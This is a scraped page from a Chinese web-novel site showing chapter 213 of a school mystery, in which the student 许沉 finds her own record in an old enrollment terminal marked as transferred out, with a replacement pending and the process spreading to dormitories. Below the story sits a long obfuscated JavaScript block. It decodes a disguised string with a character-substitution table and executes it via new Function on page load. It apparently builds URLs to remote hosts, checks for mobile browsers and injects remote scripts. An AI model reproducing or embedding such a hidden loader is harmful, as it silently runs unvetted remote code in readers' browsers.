首页
[切换至繁体版]
返回

第213章 只是被写成了不存在与临取流程开始波及宿舍同时回潮

章节报错(免登陆)

新笔趣阁(52xbq.com)更新快,无弹窗!

    第213章只是被写成了不存在与临取流程开始波及宿舍同时回潮(第1/2页)
    旧实验楼的后墙冷得像一整块没烧透的铁。
    许沉跟着老何绕到墙根时,前面的路灯正好暗下去一截,光线落在地上,像有人拿刀把夜色切成了几片。墙体上那些旧封条撕开的痕迹横七竖八地叠着,边角泛白,像一层层被强行揭开的皮。她盯着那面墙看了两秒,才发现墙根下有一扇几乎和水泥颜色融在一起的小门,门框外侧连着一截锈得发红的铁栓,像旧校区真正留给夜里的入口。
    “就是这儿。”老何压着声音说。
    沈砚回头看了一眼走廊,确认没人跟来,才把手里的手电调暗。他们从值夜室出来后一路避开了主楼那边的明灯,旧校区此刻表面上安静得近乎正常,可越是这种安静,越像有一层更厚的东西正在底下慢慢翻身。许沉能感觉到,刚才广播里那句“核对转出名单”并没有真的过去,它像一根细针,已经先扎进了楼里各个系统的接口,只等下一步扩散。
    门上没有锁。
    这本身就不正常。
    老何伸手一推,门板发出一声闷响,像有人在里面先留了半口气。门后是一段往下的窄台阶,空气里一股更重的霉铁味扑面而来,夹着灰尘和旧纸被闷久了才会有的潮味。许沉一脚踩下去,鞋底立刻蹭到一层细细的粉末,像墙灰,又像某种被磨碎的旧标签。她下意识低头看了一眼,借着手电光看清那粉末里混着一点极浅的蓝色墨迹。
    “学籍底联。”老何说,“以前都是从这里走。”
    “以前?”邱见深压低了嗓子,“现在不是还在走吗?”
    老何没答,只是带头往下。楼梯不长,走到尽头后是一条更窄的地下走廊,墙壁上沿着顶角拉着一排生锈的线槽,线槽里有几根老电缆断了又接,接头处缠着发黄的绝缘胶布。走廊尽头亮着一盏应急灯,灯光不稳定,偶尔抖一下,照得两侧墙面像一张张褪色的脸。
    许沉跟在最后,越往里走,心越沉。
    她认得这里。
    不是认得布局,是认得那种气味。旧实验楼地下和前几章里出现过的名册室、值夜室、封楼门锁,本质上是同一种味道。每一处都带着纸张、铁锈和潮气混在一起的冷,像学校把很多年积压下来的名字都藏在这里,藏久了,名字就会发霉。
    地下走廊尽头果然连着一间老机房。
    门半开着,里面摆着两排很旧的金属机柜,机柜侧面贴着早就泛黄的编号。最里面那张桌子上放着一台老式终端,屏幕是灰绿色的,亮度低得像随时要熄。终端前坐着一把空椅子,椅面上有一道压痕,很新,像最近还有人坐过。
    许沉心里猛地一紧。
    “有人刚走?”她问。
    老何的目光扫过椅面,神色没有变,只是伸手按了一下桌边散开的纸角。
    “不是刚走。”他说,“是根本没站起来过。”
    许沉顺着看过去,才发现桌上压着一叠转学系统的旧打印页。最上面那张页眉已经被谁撕去了一半,只剩下一排歪斜的栏目:学号、姓名、转出状态、接收班级、学籍变更人、同步结果。最下方还有一列很窄的备注栏,写着“临时安置”。
    许沉的呼吸顿住了。
    她缓慢地伸手,把那张纸捏起来,纸页发脆,边缘微卷,像已经被反复翻过很多次。就在备注栏旁边,压着一枚很浅的红印,印记不是普通公章,而像值夜表上那种提前落下的确认痕。她盯着那枚红印,忽然意识到这不是一份孤立的转学单,而是整个删改链条的一环。
    “临时安置就是临取?”沈砚盯着那栏,语气很沉。
    “差不多。”老何说,“先把人从原本的存在位置上挪走,再说是临时安置。挪到哪,不会写在明面上。写明面上的,只剩一个状态,叫已转出,或者暂未返校。等到第二轮,状态再被往下压,就成了不存在。”
    许沉看着那列“学籍变更人”,喉咙里像堵了一小块冰。
    那一栏里不止一个名字。她只看见最前面两个字就已经认出来了,是教务处的签章人名缩写,可在缩写后面还有一串更细的代码。代码下面,密密麻麻排着今晚的同步结果。几条结果是“已完成”,几条是“待确认”,可最刺眼的是其中一条,它后面跟着一个极短的备注。
    “座位表已同步。”
    她手指一紧,几乎把纸页捏出褶。
    “座位表也能同步到转学系统?”邱见深低声问。
    老何看着那张纸,眼神沉得厉害:“这就是问题。以前他们只同步点名册,后来又把座位表、晚读签到、家长回执都挂上去。人一旦被系统标成转出,座位就会自动重排,班主任那边看到的也是新的。你以为只是名字没了,其实是位置先没了。”
    许沉忽然想起自己曾经在晚读教室里看见过的那一瞬错位。
    那不是幻觉。
    那天她明明记得靠窗第三排坐着一个人,第二天却变成了空位。空位旁边的人说一直就是空的,班主任翻座位表也说那一格早就是别人。她当时只觉得不对,却说不出哪里不对。现在她才明白,原来学校不是先让一个人消失,而是先让别人看见他不存在。
    “写成不存在。”她低声重复,“不是删掉,是先写成不存在。”
    老何没立刻接话,只把桌上那台终端按亮。
    屏幕闪了两下,灰绿色底纹里弹出一个很老的登录界面。没有鼠标,只有键盘和一排功能键。屏幕上方显示着“旧终端连接中”,下方滚出一行缓慢加载的字符。
    “系统还在跑。”老何说,“说明今晚有人刚改过。”
    许沉把纸页放下,盯着屏幕上那行字符。她从来没见过这么旧的教务系统界面,却莫名觉得它比任何现代软件都更像一台真正会吃人的机器。因为它不需要花哨的权限、不需要复杂的提醒,它只要一条条把人改成别的状态,再把这种状态同步给所有能看见人的地方,最后人就会自己被解释掉。
    “我要看转出记录。”她说。
    老何没有废话,直接把一张写着旧密码的卡片塞进机柜旁边的读卡槽。终端发出一声轻响,页面切换后,新的菜单像一层层抽出的骨架一样铺开。许沉目光迅速扫过去,找到“最近二十四小时转学/转出/安置同步记录”那一栏,手指不自觉地发紧。
    记录一跳出来,她第一眼就看到了一行字。
    高二七班,许沉。
    她整个人像被什么东西猛地从肩膀后面按了一下,眼前甚至晃出半秒白光。
    那一行字下方,状态显示为“已转出”。
    接收状态显示为空。
    备注栏写着四个字。
    “待补替位。”
    她站在原地,半天没能动一下。
    那不是别人的名字。
    是她的。
    沈砚先看见她脸色变了,立刻凑过去,低头一看,整个人也僵住了:“这不可能。”
    “怎么会是你?”邱见深声音一下拔高,又立刻压低,“你什么时候被写进去的?”
    许沉没有回答。
    她盯着屏幕上自己的名字,耳边什么声音都像突然远了。她想起刚才在值夜室里,总值夜表最先亮起的那几格灰影,想起筛除栏里那串七码标记,想起旧校区广播里那句“已完成转学手续学生请勿重复点名”。原来那些口径不是在说别人,它们是在提前宣布她已经被移走了。
    可是她明明还站在这里。
    她的手还按在桌边,指尖还能感到终端外壳冰凉的金属温度。她的呼吸没断,影子也还在灯下。可系统里,她已经是“已转出”。
    “为什么会这样?”沈砚盯着屏幕,声音发紧,“什么时候改的?”
    老何的眼神扫过记录时间,眉心慢慢拧死。
    “不是刚刚。”他说,“是今天傍晚之前就写好了。”
    “傍晚之前?”许沉终于开口,声音却比自己想象中更平,“可那时候我还在班里。”
    “对。”男人点头,“所以才叫写成不存在。不是等你离开了才写,而是先写好你不在,然后让你自己还站在原地。”
    许沉的指尖轻轻颤了一下。
    她忽然想起自己今天晚读开始时那个短暂的失神。那一瞬间,她看见前排同桌的椅子边缘有一层淡得几乎看不清的黑线,像名字被压在框里。她当时只以为是光线问题,现在才知道那可能是系统第一次在她身上对接替位。不是直接把她拖走,而是先把她从班级记录里抽出来,腾出一个空位,再等另一个名字补上去。
    “替位人是谁?”她抬头问。
    老何盯着屏幕,又往下翻了一页。
    下一页的记录里,果然出现了另一个名字。
    可那名字只显示了一半,后半部分被程序自动遮断,像故意不让他们看清。备注栏里只有一行短字。
    “与原位冲突,待夜间确认。”
    许沉盯着那半截名字,心底猛地沉下去。
    冲突。
    不是单纯的替换,而是两个名字撞在同一个位置上了。她的存在被系统先写成不存在,留下空位,再由另一份记录去填。可填进去的那个人还没完全落稳,所以备注才写着待夜间确认。也就是说,今晚值夜表上的筛除,不是单向删人,而是正在把她和某个替位一起推向最后的校验。
    “得赶在确认前把这条改掉。”老何说。
    “怎么改?”邱见深急声问。
    “先把她的存在状态恢复成在校。”男人飞快看了一眼键盘,“再把同步链断掉。至少要先让系统认回她还在班里,不然等值夜表回收,今晚就会正式落成临取。”
    (本章未完,请点击下一页继续阅读)第213章只是被写成了不存在与临取流程开始波及宿舍同时回潮(第2/2页)
    许沉深吸了一口气,强迫自己把眼神从自己的名字上挪开。她知道现在不能被那一行字拖住。越是被盯着看,越容易让系统把她当成已经被确认的异常。她伸手抓住键盘边缘,指腹压在一个冷得发硬的功能键上。
    “怎么恢复?”她问。
    老何快速看了眼终端菜单,找到一个几乎被折叠到最底部的选项。
    “学籍回流确认。”
    “回流?”沈砚一怔,“已经被转出的人还能回流?”
    “能。”男人说,“但要有原班接收签字,还要有点名册和座位表同时回写。只要少一项,就会被系统当成重复录入。”
    “那谁签?”邱见深问。
    老何没有马上答,只是侧头看向许沉。
    她瞬间明白了。
    不是让老师签,也不是让教务处补。现在要把她拉回现实记录,最关键的签字人就是她自己,或者说,是班里能证明她还在的人。可在系统已经写下“已转出”的前提下,班里谁敢为她做这个接收确认,都会被判成改写同步。
    “班主任会签吗?”她问。
    “今晚未必。”老何说得很直,“现在整改口径已经下来了,班主任一旦签你还在,就等于承认转学系统前面那条线错了。可学校最不愿意的,就是让错线暴露。”
    许沉听完,心里反而冷静下来。
    她看着屏幕上自己被写成不存在的状态,忽然觉得这件事并不意外。学校一向如此,只要出了问题,第一反应不是改正,而是让问题看起来像没发生。只要她今晚没有真的被确认出校,系统就还有回写的余地。可如果回写做不到,那至少得先知道是谁在替她占位。
    “先查替位人。”她说,“我不能只知道自己被写没了,我得知道是谁顶上来的。”
    老何点头,没耽搁,直接在旧终端里切到另一张同步页。页面跳转后,许沉看见“临时安置表”四个字,心里一下沉到了底。那张表的格式和她在值夜室里看过的总值夜表几乎一模一样,只是侧重点不同。总值夜表写的是今晚谁被筛,临时安置表写的是谁被先行挪走、往哪间宿舍送、以什么名义落床。
    “宿舍?”她敏锐地抬头,“为什么会查到宿舍?”
    老何的目光停在页面下方,神色变得更沉:“因为临取流程开始往宿舍回潮了。”
    “回潮?”沈砚皱眉。
    “以前临取只在教室和旧楼里走。”男人沉声说,“现在他们把宿舍也接进去了。只要一个人被标成临时安置,宿管那边会先收到调整通知。床位、寝室号、夜巡名单,全会跟着变。最要命的是,宿舍比班里更容易让人觉得是自己记错了。”
    许沉听得头皮发紧。
    她一下子明白这意味着什么。教室里的名单被改,还可以靠上课和点名核对;可宿舍一旦被写进系统,夜里熄灯后谁和谁住哪一间,外人很难立刻察觉。学校把临取流程推进宿舍,不是为了方便管理,而是为了让消失从白天延伸到夜里,让人连回头找自己的床位都找不到。
    “已经开始了吗?”她问。
    老何点开那条临时安置记录。
    第一条显示的名字,不是她。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();